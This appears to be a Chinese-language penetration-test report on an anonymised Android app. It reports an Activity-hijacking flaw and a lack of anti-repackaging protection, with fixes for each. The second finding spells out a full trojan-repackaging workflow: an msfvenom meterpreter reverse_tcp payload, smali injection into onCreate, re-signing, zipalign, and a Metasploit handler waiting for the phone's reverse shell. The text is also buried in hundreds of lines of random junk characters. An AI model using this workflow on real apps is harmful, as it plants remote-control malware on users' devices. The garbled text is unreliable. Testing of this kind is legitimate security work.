5 }. a8 _ N0 ]/ E& r I' }$ g
* Y S' M0 }" [9 X1 T* p
6 P6 ^$ R0 L% `0 M) n
$ W2 q: z% l% W3 G( E
1 C& @1 \- a: p6 d
[* V. b' f. S" ~+ `) B& q
0 L2 k1 i' C, s6 C) P0 z0 G( r. H8 M% }
) X8 C) h5 Z5 Q; g9 ]/ S5 K5 L# T/ S* T& ~& B6 _( G
' w5 W* c( ] B8 |3 o4 _; ^" r
5 l7 \, u; v4 A 2 检测结果 / U! X- X- u: d: C3 N
3 k ~4 y5 S/ p# S! p5 m
Z# H7 X$ \ f( t+ P. Z* z# A
" e9 U) b: p: p/ h# ]8 }" S 7 d# q8 B* X4 ?' F6 i
: j2 x- z$ J* ?' V 2.1 某某某 : u2 B) r. P% }$ T
! S! H# S% x$ S4 k7 ]" j: a
4 K5 O7 h' i$ P$ R* }
" B* d6 g I1 d7 O+ d+ @( `
/ Z4 y* g: ~3 C4 A) m1 q2 t# ^" t6 c, g; ]- {& I
2.1.1检测目标
3 r3 I* z) k- [+ e4 N1 G3 }8 j9 O- n% p$ [' F. x
3 y5 B8 G5 c; _. |, R f, X# {+ A* F. O% [, ^; Z( A) |; t4 h
4 |% e; s4 t/ g3 [5 ^. M" k; ~
' @ j m4 D, w1 b 目标地址: 某某某某某某APP / m. e+ O8 u. m, Q& N/ P9 y+ G& s
- V: e- N) \+ k Y9 c; B
' U3 X0 u: D* Z! n/ [
4 \& v" F4 g. @' @
* L7 [' ?8 q% ~: j1 F0 x9 I/ n7 X+ z& [: I7 ^
2.1.2检测结果 ( D3 d- R: |( |! R( V# b( G' O) l8 P8 t
' e- ]- j. C/ \+ c
6 u' m& i w! w" S* I7 r
" x5 e0 K1 {" Y7 D8 B( R
+ k5 U& G7 l$ N# r. `1 R- j$ B$ ~& o% \" o t# T2 a$ r# G: d
2.1.2.1
) h& z2 d2 Q |/ A8 b3 Y( g
1 }! t% X- d/ C
; {6 g: V' P! H
0 B& M9 ]1 c2 |0 K" c 5 \( G. B6 G2 t1 t% z2 v
0 U! O z1 @& |0 T$ V* P
漏洞链接地址:某某某某某某APP
6 z$ a% x* r ^3 L
+ f, b+ Q: R( u2 A6 o& S( ]' D4 v
6 A6 x4 e6 I7 y) J
4 Z) \( O6 E8 B8 @ 6 ]3 w( x7 ?4 \, `; c( Q5 }' U2 w
9 _# L& }7 j" x
/ f2 m( X% b2 P. t6 L
9 d2 ?8 f( y8 G( H
9 p+ D- T$ I4 I; b; N( b5 g$ q3 @* s) B3 }
! {: q: h5 E1 S; ]0 C# W/ R
' |3 e. V" G: w+ Z3 i8 a 漏洞分析及取证: 8 w# i' Z$ R9 F% T1 I1 _7 V
. I% d' A- l7 {2 ], q
8 q8 H: L% Q$ |
! T6 z( ^. l+ [1 J/ s! C" i5 z, J# f * `" Y$ |& t) f1 T) U
# X: N" M/ F" F* \* m* E 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
0 C. W5 Q3 T" H6 R4 m' a. A0 o/ O0 p
T t/ m" C; H, b$ b
8 A5 R! q: G, }3 l' ]& e5 w: D% C
8 M" Q4 f7 y4 p. v; {& A) e6 Q- R1 n7 `
% A0 t' M- ^5 @& j6 R+ R/ P ~
) W# g$ \& Z% \7 G8 j
2 _, U0 {& P! k6 ?5 ]4 p5 t
$ ` f* z3 L- p" {
3 m _* q$ |5 k+ W: v0 X( e6 o+ T2 ]: m+ P
& t- R$ j7 X) l/ |8 U! X' T0 M* h& S1 U
- y3 s* h$ n* f% Q: Y
1 P1 m$ I9 G2 n' b8 _1 ^
7 a9 b1 U9 m9 F3 P
, S3 }6 _9 P/ U" i k; d$ w% g
V* w. @7 |& V7 b
8 p3 R/ u2 Z2 |; L8 a8 X. q# ~8 ]* s3 [! u7 I% M
! b5 R/ `6 {- Z, T6 d$ [
; ~! a- B+ r0 w
) d- \: H6 D' ^' |
( T. R O" _- v `# l9 L4 q
# Q+ t' S6 \( y$ ]
9 n8 N& S$ {: @& |4 M
. B( L/ l5 R/ w$ n0 d, B1 b1 c; z
' o( m0 m& L; o1 j( }0 a$ Q1 t4 C6 z9 W" d( |3 q& c( K
. |4 c: z& ?8 h5 o% f2 I
0 r) b+ ~. B2 X7 Q$ h' ~; o' Z- ~2 H" Q
. ~3 k3 s6 d" j3 `. i" \0 ~- o. g/ H- T( m1 ]/ |. W- N% e
; X9 X% o7 F1 h9 t9 N! [
) O6 d2 Q0 Q: b3 | e8 i 漏洞危害:高
- \5 B/ V* s6 @- h1 x* u" l6 O0 a+ @4 ?! w6 W( m# c
) I$ B, Q* r6 V V
8 I. S; O; Y* d/ t5 e, {) Z$ Z
: `' c9 T% }% ?! }9 T9 `
% y/ W4 |- w# N) e A 3 E2 l. p( E$ `5 Q0 V
- g- E2 ]6 ^. [6 U* Y* P
; j0 a, T! G* n4 {" R! ^4 s ~
: F/ A+ Q$ ?7 z. C! Q
2 z' a" G: r( _/ P' q7 C% d# `) R
- c Q# P$ \# Q9 P8 w# t |
) |3 C1 ?& r: m+ p$ r1 y2 _$ S, y9 W D5 _; c. Q+ {
! p/ y& b4 t" x. {/ n) j" C: T/ O7 h k
, w$ F% d6 @, }4 S 严重程度 * \8 `* ?: f" t, Z, S- N; g
# m' ?7 g0 ?* F
5 m. Z Z8 ^, V& R( @- y
) _5 h3 k V8 u L | 9 P9 q6 F- _7 P8 Q" z* U0 W) M& w5 @
4 ~3 ?1 e- S, s7 ^- L/ X% M
% L" W4 L+ w$ o4 |% k. o) H" Q- r
6 u. E _+ u9 F
' b5 I- ]. I! ^' w- d- @' I
* S- C4 }$ X4 k( [& x7 c/ c. S* z# s 高 ) j8 `! R9 v* j, W9 \, B
& v1 Q4 `7 s5 Q& J v3 k4 X - p" Q- w6 G T" H
8 T' a+ v. X# A+ `3 F |
0 k6 h% N* H' j8 A$ u
0 }& L) k# k; M P' L . y; h* e: X7 V$ [
6 V0 o5 a- }: q& N' H. a * M; u7 H# ~; g$ n/ C% v9 p) D
/ w$ S7 G2 O9 E' y% g ■
/ j# ^. r o4 [$ i' W' O, Z9 A# k
1 |: t- I% J# w. ^3 ~7 G2 m T $ L/ u* I7 x: x% x* D* U& T( M
3 \! T& M! F: l
| 4 l8 Y* Y: H! W; h
! \; J5 W1 c+ a) Q, ? $ j; v* O0 I( [ v$ ?
( ]4 G0 b: K7 k! \ l, i5 ?9 N" W+ ~
( F6 A w8 T: w 中 # J1 f5 z* C# w7 B3 h' \6 d8 d
" t5 T5 b; b9 H $ ^9 b: b0 C0 p6 Y9 R. p H
5 q9 U7 v2 V% _8 t
| 3 H/ B8 b* F N6 \! ?' G( n- v
7 _# n! c( t3 J0 |, y$ R $ Z2 M5 j2 a4 O% }* \ t5 T
4 P! H3 M, E* Z8 R+ q
0 a& e. V6 L' `' z1 V3 v5 d/ x4 Y5 m) a
/ J4 D3 S' s! j! b* L, T& w3 W# O! g& ]
* o* T: x3 ~' H1 i4 c
$ Z, |* [$ ~1 G/ H) y, [ |
8 v9 X w8 `' l% s/ l
/ E1 ]2 j; N( Q- R/ A9 l1 m 1 n5 E/ M4 i; j. p, ?/ ]2 q
% V4 }( h9 \, Q( W0 {# a6 w
( X+ r1 F, a& U8 B9 B' L' ^: Q: j# a1 n+ j B& p" W/ n
低
) j& v+ w8 l) z. [# _; o5 D+ a. a9 p9 N* `1 D* H$ V3 f ?9 T
1 s( m3 S$ A9 f; O- k! M
% X5 A; M9 x3 M) @ |
4 e5 s0 [/ ^, L0 j5 p) |1 e" i9 k; P+ ?$ Z8 J& T3 q
* Y: D3 `; m: ] |; g* v! @
- l: ?0 S! B* U9 J" H$ }
3 k5 }9 m/ L$ r2 g3 O
& p2 p& t( [! m
/ g7 x: ~% [: `. U
, I' f. |2 n0 ^3 _& ^ 7 r, k, _8 ^1 |9 k2 E- j. X" R
' U* H: U* o& Z v! [% z& P) h( n |
' @: }& p0 ~# C- p0 H! ]2 m8 F# l( Y: K* x( s, ]2 O
6 w V6 T& v/ X' J1 j5 r% v
8 M+ x# u# _, K7 z% b7 A) m* _
9 l- |& i0 ]' a& M# M' r" z& B
, l4 F5 ]( X; i/ @
% \ D2 E( ~$ \0 B" b, D; [% k/ S( e; s+ F
% Y: G) P& k6 g- n' z7 z8 {
! |5 d4 t3 t5 {0 r- k* _3 \+ G
' x3 G6 ^2 g9 L9 B2 I% F" _) ]* S% ] k1 V
7 @1 p4 @/ I* ?+ [
. a; g6 I5 b X# r% i
6 W" ?4 t4 U0 V. i
) p0 i" l( f- X0 p( F ( G2 Y: i1 T1 ^9 }/ H# G
$ q5 C8 u5 v5 Q( Q E 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
+ S8 H: H$ V+ C0 u6 @, Y" |# O% n f% S4 H! r7 z+ ?
. @* ~: u1 o5 B1 [9 N6 ^
) \" w, J% ]. [3 {4 | * e0 z3 B( G2 O& ]
: B* X7 ?! L! @+ l. K; O9 l9 z' B 6 v# t. ?$ ?, P+ W" J1 b5 O$ o
: r. T1 m8 b. y
) A% K# b5 c$ e4 A, i S, F6 A
! j# R! T8 E% x! Z+ [+ O
) v1 H9 Q! Q5 [+ Z, H: y/ D- n _2 u5 ^ z/ m% L4 a
4 N" }+ ^' ^# c" Q2 q# L/ Y+ R) a- H2 [8 P0 N+ ~1 u4 i3 i4 B1 j
& w( K$ o, M; E) d# Y$ T$ Y
2 H; Y) l$ R, ?3 }
1 E9 \# i$ y% A: v* h: T, w" d
( q A. {" v/ {& _, d3 n 2.1.2.2 # Q6 ]9 d4 _9 c6 g, i
+ U( n1 ~3 S8 K
6 I: Y4 f& r! T* J
3 i; V4 ]# F& X b; m7 ^- p 7 e w% H* _; Y$ O* B4 d% S
3 k" e v% c( ]0 j2 c7 R. m7 }
漏洞链接地址:某某某某某某APP
8 B! y9 A" u& u, k0 b
7 l6 ~3 O# }* s7 f8 r
) N, x! o' ~: d6 ~4 @
8 k+ G" |6 d# Z* k* A% K/ y% _
1 N" P( q( s) B) U8 a' l" Y* m; O7 u" J0 p, G9 Z' c( F
漏洞分析及取证:
$ O$ `5 {/ m: D/ J% |' p3 J) G3 w( f. V/ J
* X" p5 [ W% `5 s1 U3 K3 Q; z3 ~
! [/ Q' B, `* e( I5 S4 {
, S9 r# T k. Z; v: u: J1 C) b& o8 J0 `3 h; u% Z; b; h5 O) |
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
5 X- P" ?( t7 A: L. L) h3 D C2 q' i6 [$ s! ?7 [; ?5 Q
. b# I4 b* |0 q: U- O- v' N
9 r" _4 W( ^) _" A" V5 Z5 l) c2 l
4 A7 q" a3 T5 X" O
& G, I6 }. X* J: c& U, G
用Metasploit 生成木马 apk 1 \5 N% Q: ^3 L' B( Y ]5 c8 @- ?
' X5 [) G1 r) {: R7 s$ A$ j! k
. U! P: u# w8 i) |, i. o- E$ e, R
5 U' ]* u- m; }
# W h: ^1 F# U/ @$ X4 z+ _' j. l @% _! d) K! A6 P
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
# H' o4 R2 J+ Q" ?' s, h6 B; q* |9 G- V+ t- k* I0 v
$ _8 |1 L0 `* `, M& S1 r% U9 Y: q" c% D5 _$ D3 L
5 {! U# t1 d+ y$ [; @5 [6 E( S% p- {$ y6 c
反编译目标apk和木马apk
3 G; f6 z" ^+ a( f: W
8 f7 B9 P2 s, a1 T$ u! D, ]
8 }5 o! r. W7 I; P
" y: K& @& B& r; d
( n: _" n' C' L5 _
R" W) }3 Q. {6 n0 ^ apktool d target.apk
- F2 J1 H3 y. H. Q6 G! E9 `' t* z" W! A7 v& g
apktool d cockhorse.apk # `) N* ?8 V9 e. r. u% ~: n! k$ m
# P9 F% x& h- P9 ?2 U& o; f
3 d/ S$ N$ l4 H* _" m; O1 g1 l" s4 U) ?1 Q/ q" J
) {( R8 \" N% `# b" m! m4 u
# v8 w( { X4 w 木马 apk 注入目标 apk 7 [: t8 i1 Z' H7 E
" t) u& R! _1 O6 P1 l2 n
& q8 O' e- R. Q3 a! }5 S( s* C, [# X3 {" ^/ D% d
6 w4 W q9 T5 E4 o8 m* v" N
2 {4 ~( e* [5 ]( q) b4 Z0 G& Q9 | 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
3 H0 h9 U: {7 d- {5 z* a5 R& ?1 P# U7 H
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
! _$ ]2 ^9 \3 t3 V( X
7 Q# }4 y9 e; y6 |
- W' Q+ e0 j# z. ~- {8 g
O; m: M, I% [6 t 5 l+ f$ d; y% [) F
& s! i+ O3 k3 _ A+ q% N
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 1 n, S R; U2 |9 y, @* D' a
3 |/ G/ ~" s- o; |
: x7 j; d4 q" ?, e5 b
* y1 @3 Z% f( P, O
" u) d5 m0 L8 ~% ^; K( Z
5 @, I1 C) j; S
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 , O1 O& E+ N( J. ~: ], O
7 A# m* @$ t' w
, ?7 \& c7 j$ }6 g! Q% _, ^# @. z0 e$ K
8 r$ A( l8 G7 S
" T+ n' u _& M6 d6 f7 H( f) h3 u" r2 V: s( x
回编译生成最终 apk
! E- `) \5 G+ M" }. \" t: A
! Q! N+ x* h/ S: \
h8 k9 F7 K3 h# c" j. z
* D7 T& d k+ X5 W. D$ `" J 2 c3 F, M4 q8 Q. D
- l& E! w+ y$ L' }( m- Z p 重新打包
, Z# n S* D: P6 {0 c5 W6 b
$ p9 H2 b( H1 o w- m
0 Y/ m+ B$ d" X5 X) e) d0 d1 H
5 ?) f+ j- ~0 ^ * D: b" D/ ~4 v3 H: ^3 P
5 r0 ^8 j( v$ a, ^ Z0 B apktool b -o repackage.apk target_app_floder
0 y/ w3 k; C$ @# `* ]
: g# t. ~# j& {- Y8 M7 V& t
2 I- B. Z! a* D1 v: i
5 i/ v3 ?- V( @) |- g5 }: s
' G) d) E4 c6 m% o; V$ o0 n! S' U' g* Z. m G4 o& @/ p
创建签名文件,有的话可忽略此步骤
- ?% o1 I9 M) a6 v. d0 u* ?! ^0 T$ X% R" C9 J& v8 U4 q
. s, C( Z6 }% S" W$ e' Q+ g2 O
/ i! g8 Z$ S& l4 V/ E, c; H H6 H + ^( ]/ d4 G* g8 ^" m$ w& F5 i& I
" }2 S6 t% K6 f1 A
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ]& Q. Y% b2 G& Y& y; }
2 X* {" Y; F6 G( a% }7 p" U
3 g6 G$ \$ X1 U" [' C, n9 o* ?
) O$ o+ P( v' o : I" [# {" |( Z k# U/ `! d
( X' G0 T/ C/ I" {6 G W/ k 签名,以下任选其一
) k1 p7 x1 c8 |& g0 ~) X
9 i8 d' K. r$ |" c8 U7 |! J
2 Q% a, e* k% t
5 I8 o3 e. ~! R6 Z& X
2 K# _$ `6 n, y3 X/ T: W9 S
: H5 a9 T r: `) s" k
jarsigner 方式 * n! ^; m% J% @' c& l
" e& _- F) G( ` p' B
0 n( A' U1 v) Z+ P ~5 {7 U2 D) M& n- s( [- h" s4 ~
" j7 q7 U2 W& p+ H, i) G. q* c: b
" D( d! _" }+ r4 o# ?7 x# X6 m9 j/ J jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ; V% e$ M: y( x, h, d
5 V: M) q; y) M* a6 [4 L
8 P+ J }8 }, O" T( V4 S5 X
+ r5 O# Z* ] W: R2 L5 |
# A7 B. G- {# a7 ~
% |! c# p* D) `- D* G* ]$ ~5 X apksigner 方式
7 o7 |5 B7 A+ @1 b% S4 k3 P" G V' p/ q- \
) N/ ?% g3 W9 }) e3 c% w
2 Y; p- t' x4 c
7 A! W( _0 s4 k. z0 r# H
- |, {9 z% _" r( C( I apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
& ?$ ?: g: w7 A
" u6 O( y- i4 `/ P# z S$ h0 v
6 h, o. r. b, A x- {/ d5 X1 B2 d& d$ P. Y$ x& D; u5 ^- f! N3 q
) y5 x& y+ U; C! D* i s, d) A
+ v4 V5 T7 H3 b; c9 z |
如需要禁用 v2签名 添加选项--v2-signing-enabled false $ l2 x& L" \' @1 d1 e! Z* {
+ V& n$ l: d3 A$ A' \
! Y) s7 ^* G* |- \+ A
7 G- X" F8 ?/ K$ N* O% U% o! E
. v2 d# V Q* s: u* O: C
" \% j( R9 s6 F4 y" `
验证,以下任选其一 : w! E, r$ W! {" @1 I) C
% S, P+ D* ~) A7 H5 n- U' R% s
( x, g# e5 i0 U8 h3 `( f) K5 z/ n) I9 ~) e
$ x+ b; i. _/ ~3 _( |0 F! q
( k" h1 Q- v6 W jarsigner方式 ( x; u3 z. C9 v& J1 |; j4 e
4 K8 b5 r! A; m7 q% L* i
' ^# V. C8 Q/ n+ G, m
1 ]5 p" Y9 L2 L
) |5 T- \ `1 s0 Z9 j5 C+ E/ |5 p! x& s, {( e' {3 Q. d I
jarsigner -verify repackaged.apk ' m3 ^4 N- ]! P" b5 ~
$ V; l) J9 A4 z# o2 k
+ ^ Z% x0 f8 L8 q$ H, U
: d5 p# b. a R0 y; m
% z$ d j v1 K% _+ _! Y
- @- A8 N+ T L; p, Y
apksigner 方式 ) Z$ I5 L. Q, I0 [$ U ~" J
# @/ i: n2 ^9 e& F( m- R
* N) D; `% G9 x% D# h1 T
/ `3 T+ C$ `! l
( v* a5 H6 W% f( N( J& A
0 d: j T% Z7 C1 c% o2 Z- v apksigner verify -v --print-certs repackaged.apk 7 v/ N: @" I/ E% S4 |2 M
) Q/ T! c* O& u" E8 y7 Y+ v& L; U
0 y: c$ |2 K* V+ x, P) x: [" ]9 Q& [+ h, M
& R% @) _1 v8 v1 G) U
4 g3 Q; F/ w4 l
keytool方式
9 |' b' t3 l7 {9 u4 U0 W' d3 j+ h3 w2 w
' V* w3 i3 p& `5 P
- [* Q+ m( I* x& q 7 O9 L& e, ^6 ^) o
% k7 R0 C- y* g8 X7 [! g keytool -printcert -jarfile repackaged.apk 4 t; V' P5 J Y3 }( a3 C% s7 t
) b" D; A( u& Z. Y# }
6 m+ }2 U8 h# o; T0 H+ Z+ A$ _; c5 ]! ?; t' ^* w/ c- I
6 U4 N% f/ T( U2 j7 O! z
3 U. U* l% g6 [- ]$ W2 L 对齐 - d7 P- a& Y' r, s/ e i
0 k1 ^6 b+ G% t7 v7 e4 B3 K
( y1 n" N0 U: p0 H. y: r! A$ \: v
. B7 E1 ]8 D2 F$ y1 ]) B 2 ^% g0 w! y4 Q7 E$ b% _* o
: l/ I1 n& d1 z2 I& k
字节对齐优化 $ q+ }7 i, D2 S
, I% v+ [% k" c; W$ L
% X; }. ]3 f! z5 N, x# l$ |! B
3 K# u8 u+ R- `2 I% ^1 h+ H
8 |3 R* {2 V8 C! k) [, A8 S8 ?- N# W u
zipalign -v 4 repackaged.apk final.apk / ~! J$ A' |7 s
; F' L: r: L. @, [, E' q
7 ]3 o% Y" I1 q
$ j& a N( X% ~! H# ~/ z- W - R K" F$ B& `1 a) G
5 _& p' x( z6 H
检查是否对齐 ! L$ J- s9 G4 v7 _8 x
" l, M3 r( j5 j) p. y
2 V2 U" Z8 y6 y1 t3 k4 u
4 r' Z+ ^/ M) ~+ v# g* k, K$ n/ ? $ N& S; _4 u9 J2 p; Q8 Y6 q- s
0 r+ |5 B& |! y; h/ f
zipalign -c -v 4 final.apk
2 o4 z( u8 y5 L, A+ S q" `0 t9 U) ~) m. Y ]+ J2 [# c: D
3 k1 y" ]/ B% A V- X2 K
$ r4 p1 e6 n( G% X
+ N. q/ m& I& J4 u) X+ t0 m [$ s# k# v x9 t
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ( p. c2 Y* P4 A* R7 A& a
( X! R) F. a) }" r$ W1 P2 e
6 V* G9 j# g9 ?3 m" h
. l% ~1 N# S$ n" d
# R, }0 |9 [2 r% ~! z$ H9 C% n
4 M2 _0 i* B1 [
启动Metasploit控制台,配置参数等待上线 # {- c5 Y: `0 ]
. g* } b/ Y9 b
1 d9 y' |9 G& F" Z7 R
8 h8 M( z% g4 | ( Q3 P: Y+ g; L
8 E- r) w, \/ k. p+ j 在终端依次输入如下命令
. N6 R" L" m) ~4 w
4 J+ b" ~ ~# o% F. ?; M5 c$ s
8 d2 A8 [, |3 ^. F3 c! A# b* l8 o
. m! b% E; q Y: }
) ]) j$ ^3 X( c2 u* f$ C* s7 Q) O7 X. L5 {, {$ x6 V; [7 ]
msfconsole
R5 c" P* y/ J! @# E' t9 ~; c# U! v
. E6 F: Y: {# v
6 D+ y1 Y' _( o1 V : u: M" L( s- j+ O! L h) c* q8 T
4 k7 N A6 Y, `* S( F: n, s% [
use exploit/multi/handler
+ F( b& f5 }$ N
( g' P. R8 R# m N: ^: @* p
3 e3 o" {3 q1 e
5 B& E# A% n# `' o: T. C* t7 l' r ! I: S# A/ W, k" K, ^, H& [( c. Z
! o/ l3 V3 v4 I0 S set PAYLOAD android/meterpreter/reverse_tcp
, m+ `- d; L+ ^+ C0 k6 o6 [% ~
' s; I1 b# m6 F$ ` g8 {
x( l; S# y7 e4 {. j) \
$ m1 w, e0 {0 M: T , e1 [* d! A( \# P
3 N& ?5 c/ o( \ Y; `4 s
set LHOST 192.xxx.xx.xx / `9 L7 C$ O: X- c
* r8 R# X! J+ Z5 c
+ \0 B" \% i6 d- p5 U
' ]' W. A$ E: Z9 w6 l6 H
5 o1 R8 N1 ?; j0 I2 `* {: x/ j/ {& j1 Z. {7 h9 [( _
set LPORT 4444
0 |: R% p9 @, r" r. Y S c) Q7 W9 B6 Z( h+ d4 O
0 p% S5 Y# S! X6 m0 N7 H/ I( E
3 @+ T7 t+ q( _ e2 T
9 P, M: y" @" H. Y5 }. ~
9 E* M: ~$ z6 _% I6 V, p exploit & }# {8 {0 \6 ~6 n1 T9 a: z# Z C
6 e8 i6 i" Y" W6 Q( r1 W
' j( Y; V& x7 s3 X% s* `) r( k: x
; l7 [* P+ N4 [# j9 I! n
1 B( `1 @/ U9 H
+ b! r G4 K8 z+ E6 [ 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
: b+ Q; p, Q8 |6 v' K! _
4 C, D$ m9 K" C/ B2 t) r
& ]- M1 _$ ]- |; c9 U U0 {2 h; {: l/ e1 g2 W
8 ~( `% E8 Q) T& H: L7 f% Y N% X
3 f* L7 q% h3 k- M8 L
漏洞危害:中
, }) q0 M! J& s N4 T/ ` r+ L( N" ~
/ A* u" U6 \! V
3 D/ U, r5 X- b
7 Z! }% @7 i" N* D 1 `# P0 N! ~4 @3 G: j# }: u
0 r' B8 B) P' q' S% u
/ {4 U: }; c0 t, e; o4 O7 f& k
4 f; P7 f9 T$ n7 `2 h5 d) T 5 E& u2 m4 |/ B0 G6 g: {
" ]# O0 K' p' G4 `- e
* H" b: H/ k* ]
3 K2 s' U& D4 D$ h8 a6 [* t% y. V 2 |# D9 T; G2 e5 h2 N* J( z
8 ?3 Y f1 Z P1 v- S* {
| 3 C+ F+ ]& H8 I2 X
, ?: E9 Y) p( O% T* p. M9 V" B ; i- o9 ]% v5 E# B: S
0 q$ N' W4 M/ `0 ` 严重程度 2 U3 U! {4 o- k
* h: W. Z' u: ^2 Y7 Y
5 ^; @/ A3 F) l$ D% K& q0 X
6 q+ k' [7 ~8 V( A4 E | " t* k" y. G% I' C
" k! {% t2 o$ k- y. x! [, g
2 [+ z( k- p) H& g$ m% T& \
) C3 W9 i# e" \
4 f; X+ k1 ?. C/ \9 e, s3 ]+ e7 g2 k& _6 m, r% Z
高
$ T( s6 c6 v- T1 B, g9 `. ^
7 F& R/ d6 X) P1 [$ o ; ^5 }. m$ C& t- C
5 q" D; a$ r1 @' F; F: O% L4 L1 X
| - L7 r6 [* d2 g, C
$ |5 P# c' E$ ~: i: f * W0 e9 B1 C2 L) x6 Z
3 J3 ^. X1 o/ Y& A; _( N1 `
; i; u8 P2 s9 A# E u
+ B7 }" ^/ ^& R% R( f
■ + X( ^) n, J" q$ B% q6 V
- O" h$ Q& F) W3 {0 n! D3 @" @/ i: W $ O# o7 ]1 r8 l7 @" O) Q
) }3 ?* M% F5 ?9 N' F
| % \9 ]5 H1 a+ o& o$ f; N
# c$ e/ ~+ G- p* Y
1 y" H6 u7 q) S- T9 _
/ Y7 k0 f- T! w% _: T2 l8 l , r- J) W% Z1 U: _( U" ~
8 `! }2 i" H6 v% y, [4 s0 E 中
; {+ E0 g- X0 s* ~% x* I/ ~8 }$ e& T5 E! @, I; `9 {8 p1 a7 g
; \0 ]0 C4 ]* F8 u0 \( A3 A
7 [. H6 G) y. u" v" A; M6 y | + A* W5 O# s4 C1 z$ i9 B2 g7 l
! R. s2 {9 I6 }4 c7 w6 e# t
6 }" k! m ~& w, t( j
) l5 @2 ` J! F/ L- Y
" k. T/ c+ C) s" A3 U0 S, x' A, ^8 ^
; n/ p6 |* x5 x h1 B
& p* C ^* a2 z$ Q 1 [8 U. Q! c, X; a: o
! W8 j( t5 K0 x* j# k, X+ U* \
# x6 i; s0 ^9 K% k4 M+ p# U6 M1 i( Q8 j- e, M( ?/ H' Z( }
|
6 F1 P9 h/ @* o" g1 z# ?: ^" F+ c9 K) D" {/ {5 z% B
% o7 Z& P1 V! i! V4 c! V0 m9 o
3 `- V: P& t$ n: P) r0 I. f
$ a7 T4 E' ?) a8 u
0 r: }" o. z. W( [& {& g- A/ B 低
7 W3 |- T3 g ^/ x2 p. q
7 [6 Z; }" ^7 N0 y _: X % C$ t! F* h$ t. {* L- {7 q
6 W/ E# @. p, Z$ o1 k$ q9 s& w3 L | + A5 }( W& F! s# G2 a$ n
# R% J: u! g6 h: f5 q) j& R
% ]$ T/ Q3 q& x& c" _
6 h# X4 T# t% Z7 O9 T' @
# i7 ^; @. c, c3 `: A) F3 c: a0 l+ ?: ?
- ^: [, R. f( X- q5 _+ O
3 g: E5 E- P! \; x9 [% i! H; j
3 }1 Z" t3 V% {; o6 n/ M: E( D% y7 J+ e$ {& Y! d2 n% m
9 Y, ], l: s$ @/ o( B& m$ P
7 U+ E7 x7 D. L7 P( A |
$ F( q' P- {' ^9 Y, ]8 O' V$ _2 {. p- |
6 v ?( e" P0 U
6 `, w0 `1 V0 j6 v9 q. K X
# t4 _4 l) A% p9 M
: q" J4 r3 M$ k) H6 ~9 q% S
* \4 d" r+ \2 w; u# d
4 H; u8 F2 ^7 X) d% Y
' w ~+ r o( \$ g' Q! p" r
1 w8 D: G" w! f" F; w# x - L9 P; D5 i, a
4 U( t8 h3 C7 S. W4 j: Q3 y
6 U) _$ d! ?" E$ g% G$ Q) }+ K9 Y4 W& k5 @+ U( X3 M- C
0 L3 }. c% }& G( S1 v) w6 m2 F$ J- c1 U! r7 r0 [
3 J. d2 [4 D) `* h$ W
, i( R: n0 P% r2 j! m7 d3 g$ ? 修复方法: 9 u3 H6 C! O; t
$ e# t8 H/ J- ` u: A
& B* F6 B2 t/ n- S: ^4 Q
, x5 E1 L' [ I : w7 K% z* ?$ D! d" h2 N' m [
8 |+ a% R/ `4 X1 Q7 L( E3 d
1.在 APP 启动时应做签名校验防止二次打包。
$ s7 f( y% P2 x6 A; |/ @
9 h; p- J/ Q( ^( u/ G) h0 Z 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
" q$ V" [# ~) X% j0 u4 T( g9 ]4 i' ?
0 N! g( i* A7 y( ]. f6 E9 L
* P2 ?$ ?2 I: o$ z) i0 {$ J8 K. a" A
" I+ K4 k3 J# i& Z" C8 z& V % U* Z, U0 C& m+ ^* q
5 {$ J) M9 w. Z
5 w2 Z1 e* [2 A) [+ Q; J* E
' T! c* F! B+ Q$ g- x
, O# l9 M" K* j( j0 W# {& f1 x" [' H# a
0 A) W" h- O! x4 i' v2 z$ h1 ?0 i, U6 Y# y+ p- f0 u1 G
& w6 N, A1 U0 K! l' c: l0 u- ]9 n
& B7 w J7 i4 V/ ^5 @
( e+ u5 g2 [, a
* W9 H" x3 U- m: C; ?/ R! B4 o
4 {1 a0 ?* J6 u5 U, d2 X* b( k% ^
2 ^ L& M; r/ S6 Z+ A- G |
, a$ H) L9 I: A